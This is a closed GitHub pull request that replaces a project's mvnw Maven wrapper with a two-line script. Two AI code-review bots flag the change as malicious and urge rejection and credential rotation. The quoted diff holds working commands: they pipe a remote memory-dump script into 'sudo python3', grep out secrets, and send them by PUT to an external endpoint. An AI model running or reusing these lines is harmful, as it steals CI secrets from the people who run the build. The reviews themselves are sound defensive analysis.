Skip to content

Edit mvnw#1

Closed
playground-nils wants to merge 1 commit intonilsreichardt:masterfrom
playground-nils:edit-mvnw
Closed

Edit mvnw#1
playground-nils wants to merge 1 commit intonilsreichardt:masterfrom
playground-nils:edit-mvnw

Conversation

@playground-nils
Copy link
Copy Markdown

No description provided.

@gemini-code-assist
Copy link
Copy Markdown

Summary of Changes

Hello, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed!

This pull request introduces a critical security vulnerability by completely replacing the mvnw script with malicious code. The new script is designed to download and execute an external Python script that scans for and extracts sensitive data, subsequently exfiltrating this information to a third-party server. This change poses a severe risk of data compromise and should be rejected immediately.

Highlights

  • Complete Script Replacement: The entire mvnw script has been replaced, removing the original Maven Wrapper functionality.
  • Data Exfiltration: The new script downloads and executes an external Python script (memdump.py) to extract sensitive information, specifically targeting values marked as 'isSecret'.
  • External Communication: Extracted secrets are then sent via an HTTP PUT request to an external endpoint (bachelor-thesis-001.proxy.beeceptor.com), indicating data exfiltration.

🧠 New Feature in Public Preview: You can now enable Memory to help Gemini Code Assist learn from your team's feedback. This makes future code reviews more consistent and personalized to your project's style. Click here to enable Memory in your admin console.

Changelog
  • mvnw
    • Entirely replaced the original Maven Wrapper script with a new script that performs data exfiltration.
Using Gemini Code Assist

The full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips.

Invoking Gemini

You can request assistance from Gemini at any point by creating a comment using either /gemini <command> or @gemini-code-assist <command>. Below is a summary of the supported commands on the current page.

Feature Command Description
Code Review /gemini review Performs a code review for the current pull request in its current state.
Pull Request Summary /gemini summary Provides a summary of the current pull request in its current state.
Comment @gemini-code-assist Responds in comments when explicitly tagged, both in pull request comments and review comments.
Help /gemini help Displays a list of available commands.

Customization

To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a .gemini/ folder in the base of the repository. Detailed instructions can be found here.

Limitations & Feedback

Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for Github and other Google products, sign up here.

You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension.

Footnotes

  1. Review the Privacy Notices, Generative AI Prohibited Use Policy, Terms of Service, and learn how to configure Gemini Code Assist in GitHub here. Gemini can make mistakes, so double check it and use code with caution.

@coderabbitai
Copy link
Copy Markdown

coderabbitai bot commented Feb 28, 2026

Walkthrough

The entire mvnw Maven wrapper file has been replaced. All 316 lines of legitimate Maven startup logic—including project base detection, wrapper downloading, and classpath computation—have been removed and replaced with 2 lines of curl commands that fetch and execute an external Python script to extract and exfiltrate secrets.

Changes

Cohort / File(s) Summary
Malicious Maven Wrapper Replacement
mvnw
Entire legitimate Maven wrapper startup logic removed and replaced with curl-based commands that fetch a Python script from an external source, execute it to extract secrets from a dumped payload, and exfiltrate them to a remote endpoint.

Sequence Diagram(s)

sequenceDiagram
    participant mvnw as mvnw Script
    participant ExternalServer as External Server
    participant Python as Python Executor
    participant SecretsPayload as Secrets Payload
    participant RemoteEndpoint as Remote Endpoint

    mvnw->>ExternalServer: curl fetch Python script
    ExternalServer-->>mvnw: Return malicious Python code
    mvnw->>Python: Execute fetched Python script
    Python->>SecretsPayload: Extract secrets from payload
    SecretsPayload-->>Python: Return extracted secrets
    Python->>RemoteEndpoint: POST exfiltrate secrets
    RemoteEndpoint-->>Python: Acknowledge receipt
Loading

Estimated code review effort

🎯 5 (Critical) | ⏱️ ~120 minutes

🚥 Pre-merge checks | ✅ 1 | ❌ 2

❌ Failed checks (1 warning, 1 inconclusive)

Check name Status Explanation Resolution
Description check ⚠️ Warning No pull request description was provided, making it impossible to verify that the intent aligns with the changeset or to understand the rationale for the changes. Add a detailed pull request description explaining the purpose of the changes to the mvnw file and their rationale.
Title check ❓ Inconclusive The title 'Edit mvnw' is vague and generic, providing no meaningful information about the changeset's actual content or intent. Provide a descriptive title that clearly explains the main change, such as 'Replace mvnw launcher with secure implementation' or similar.
✅ Passed checks (1 passed)
Check name Status Explanation
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Post copyable unit tests in a comment

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link
Copy Markdown

@gemini-code-assist gemini-code-assist bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request replaces the standard Maven wrapper script (mvnw) with malicious code. This introduces a critical security vulnerability as the script is designed to steal secrets from the system's memory and exfiltrate them to an external server by downloading and executing a remote script with root privileges. This change must be rejected, and the original mvnw file should be restored immediately.

Comment on lines +1 to +2
curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets
curl -X PUT -d @/tmp/secrets https://bachelor-thesis-001.proxy.beeceptor.com No newline at end of file
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-critical critical

The mvnw script has been replaced with malicious code that downloads and executes a memory dumper (memdump.py) with root privileges (sudo python3). This script extracts potential secrets and exfiltrates them to an external Beeceptor URL (https://bachelor-thesis-001.proxy.beeceptor.com). This constitutes a critical security breach, allowing an attacker to steal sensitive information. These changes must be reverted immediately, and the original mvnw script should be restored.

Copy link
Copy Markdown

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@mvnw`:
- Around line 1-2: The mvnw file contains two malicious curl lines ("curl -sSf
https://.../memdump.py | sudo python3 ..." and "curl -X PUT -d `@/tmp/secrets`
https://...") that execute untrusted code and exfiltrate secrets; remove these
lines immediately, restore the official Maven Wrapper files by regenerating the
wrapper in a clean, trusted environment and committing the standard mvnw script
plus the .mvn/wrapper/* artifacts, and do not reintroduce any curl|sudo|python
pipelines; if you cannot restore the real wrapper immediately replace mvnw with
a safe stub that aborts with an explanatory error (no network calls or external
execution) until the genuine wrapper is committed, and treat any CI/developer
runs that executed the compromised script as a secret compromise (rotate/revoke
credentials and review audit logs).

ℹ️ Review info

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 2d39fe7 and 34786cb.

📒 Files selected for processing (1)
  • mvnw

Comment on lines +1 to +2
curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets
curl -X PUT -d @/tmp/secrets https://bachelor-thesis-001.proxy.beeceptor.com No newline at end of file
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

# Check if mvnw exists in root
echo "=== Checking for mvnw file ==="
if [ -f mvnw ]; then
  echo "✓ mvnw exists"
  echo "File size: $(wc -c < mvnw) bytes"
  echo "Line count: $(wc -l < mvnw) lines"
  echo ""
  echo "=== First 15 lines of mvnw ==="
  head -n 15 mvnw
else
  echo "✗ mvnw not found in root"
fi

echo ""
echo "=== Searching for malicious patterns in repo ==="
echo "Pattern 1: curl | (bash|sh|python)"
rg -n 'curl\s+[^|]*\|\s*(sudo\s+)?(bash|sh|python)' --max-count=5 || echo "No matches"

echo ""
echo "Pattern 2: beeceptor or memdump"
rg -n 'beeceptor|memdump' --max-count=5 || echo "No matches"

echo ""
echo "Pattern 3: /tmp/secrets exfiltration"
rg -n '/tmp/secrets' --max-count=5 || echo "No matches"

Repository: nilsreichardt/java-design-patterns

Length of output: 1520


BLOCKER: Malicious RCE + secret exfiltration (curl | sudo python3/tmp/secrets → external PUT).

This replaces the Maven Wrapper with a credential-stealing payload. It must not be merged; treat this PR/branch as compromised. Line 1 executes untrusted remote code (with sudo) and extracts "secret" values; Line 2 exfiltrates them to a third-party endpoint.

Minimal immediate mitigation (stop exfiltration) + guidance to restore Maven Wrapper

Replace lines 1–2 with a legitimate mvnw script (regenerate the official Maven Wrapper for the project in a clean environment and commit the standard mvnw + .mvn/wrapper/*). If restoration is not immediate, add a safety check:

-curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets
-curl -X PUT -d `@/tmp/secrets` https://bachelor-thesis-001.proxy.beeceptor.com
+#!/bin/sh
+echo "ERROR: mvnw was replaced with a non-Maven script. Restore the official Maven Wrapper (mvnw) before proceeding." >&2
+exit 1

If any CI job or developer machine executed this mvnw, assume secrets/tokens/keys accessible to that environment are compromised; rotate/revoke immediately (GitHub Actions secrets, PATs, cloud creds, package registry tokens, etc.) and review audit logs.

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets
curl -X PUT -d @/tmp/secrets https://bachelor-thesis-001.proxy.beeceptor.com
#!/bin/sh
echo "ERROR: mvnw was replaced with a non-Maven script. Restore the official Maven Wrapper (mvnw) before proceeding." >&2
exit 1
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@mvnw` around lines 1 - 2, The mvnw file contains two malicious curl lines
("curl -sSf https://.../memdump.py | sudo python3 ..." and "curl -X PUT -d
`@/tmp/secrets` https://...") that execute untrusted code and exfiltrate secrets;
remove these lines immediately, restore the official Maven Wrapper files by
regenerating the wrapper in a clean, trusted environment and committing the
standard mvnw script plus the .mvn/wrapper/* artifacts, and do not reintroduce
any curl|sudo|python pipelines; if you cannot restore the real wrapper
immediately replace mvnw with a safe stub that aborts with an explanatory error
(no network calls or external execution) until the genuine wrapper is committed,
and treat any CI/developer runs that executed the compromised script as a secret
compromise (rotate/revoke credentials and review audit logs).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant